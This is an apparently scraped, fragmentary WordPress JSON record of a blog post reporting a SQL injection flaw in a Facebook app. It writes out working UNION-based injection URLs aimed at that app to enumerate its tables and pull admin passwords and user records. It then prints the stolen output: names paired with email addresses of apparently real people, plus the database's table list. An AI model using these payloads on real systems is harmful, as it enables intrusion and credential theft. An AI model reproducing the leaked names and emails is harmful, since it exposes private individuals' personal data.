Facebook architecture allows 3rd parties to install bunch of applications that will let you play, make some quiz and other. Basically the will suck your profile informations and parse the result in facebook pages.<\/p>\n
The major problem is that Facebook doesn’t control the apps and some code are really bad. Here is an exemple of sql injection allowing to dump all info from a database: email, login, password and more.http:\/\/apps.facebook.com\/observerfacebook\/?p=challenges&id=-1+AND+1=2+UNION+SELECT+1,group_concat%28column_nam e%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+in formation_schema.columns+where+table_name=0x41646d 696e5f55736572-<\/p>\n
http:\/\/apps.facebook.com\/observerfacebook\/?p=challenges&id=-1+AND+1=2+UNION+SELECT+1,0x70617373776F7264,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17+from+Admin_User–<\/p>\n
Invalid challenge id=’-1 AND 1=2 UNION SELECT 1,0x70617373776F7264,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17 from Admin_User–‘, please try again Facebook architecture allows 3rd parties to install bunch of applications that will let you play, make some quiz and other. Basically the will suck your profile informations and parse the…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_robots_follow":"","_seopress_robots_imageindex":"","_seopress_robots_snippet":"","_seopress_robots_primary_cat":"","_seopress_robots_breadcrumbs":"","_seopress_robots_freeze_modified_date":"","_seopress_robots_custom_modified_date":"","_seopress_robots_canonical":"","_seopress_social_fb_title":"","_seopress_social_fb_desc":"","_seopress_social_fb_img":"","_seopress_social_fb_img_attachment_id":0,"_seopress_social_fb_img_width":0,"_seopress_social_fb_img_height":0,"_seopress_social_twitter_title":"","_seopress_social_twitter_desc":"","_seopress_social_twitter_img":"","_seopress_social_twitter_img_attachment_id":0,"_seopress_social_twitter_img_width":0,"_seopress_social_twitter_img_height":0,"_seopress_redirections_value":"","_seopress_redirections_enabled":"","_seopress_redirections_enabled_regex":"","_seopress_redirections_logged_status":"","_seopress_redirections_param":"","_seopress_redirections_type":0,"_seopress_analysis_target_kw":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[3],"tags":[2872],"class_list":["post-779","post","type-post","status-publish","format-standard","hentry","category-security","tag-facebook"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-cz","jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/779","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=779"}],"version-history":[{"count":2,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/779\/revisions"}],"predecessor-version":[{"id":781,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/779\/revisions\/781"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=779"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=779"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=779"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n<\/em>
\nhttp:\/\/apps.facebook.com\/observerfacebook\/?p=challenges&id=-1+AND+1=2+UNION+SELECT+1,group_concat%28name,0x3a, email%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+User<\/strong>—<\/p>\n\n
roberts:roberts.davel@gmail.com,\r\nJason Silverstein:jason.silverstein@gmail.com,\r\nRed Web:redonweb@hotmail.com,\r\nAndrew Dunn:andrewmdunn@gmail.com,:,\r\nSteve Gunn:sgunn@charlotteobserver.com,\r\nMatt Kirk:mkirk@charlotte.com,:,:,:,:,\r\nAmy Gahran:amy@gahran.com,\r\nEllyn Angelotti:eangelotti@poynter.org,\r\nSeamus Condron:seamus.condron@gmail.com,:,\r\nSara Gregory:sara.e.gregory@gmail.com,\r\nLisa Schnellinger:lschnellinger@gmail.com,\r\nJustin Ruckman:justin@cltblog.com,:,:,:,:,:,:,\r\nAndrew Dunn:andrew.dunn@unc.edu,<\/pre>\n
1) AdCode\r\n2) AdTrack\r\n3) Admin_DataStore\r\n4) Admin_User\r\n5) Challenges\r\n6) ChallengesCompleted\r\n7) Comments\r\n8) ContactEmails\r\n9) Content\r\n10) ContentImages\r\n11) FeaturedTemplate\r\n12) FeaturedWidgets\r\n13) Feeds\r\n14) FolderLinks\r\n15) Folders\r\n16) ForumTopics\r\n17) Log\r\n18) LogDumps\r\n19) Newswire\r\n20) NotificationMessages\r\n21) Notifications\r\n22) Orders\r\n23) OutboundMessages\r\n24) Photos\r\n25) Prizes\r\n26) RawExtLinks\r\n27) RawSessions\r\n28) SessionLengths\r\n29) Sites\r\n30) Subscriptions\r\n31) SurveyMonkeys\r\n32) SystemStatus\r\n33) Templates\r\n34) User\r\n35) UserBlogs\r\n36) UserCollectives\r\n37) UserInfo\r\n38) UserInvites\r\n39) Videos\r\n40) WeeklyScores\r\n41) Widgets\r\n42) cronJobs\r\n43) fbSessions<\/pre>\n","protected":false},"excerpt":{"rendered":"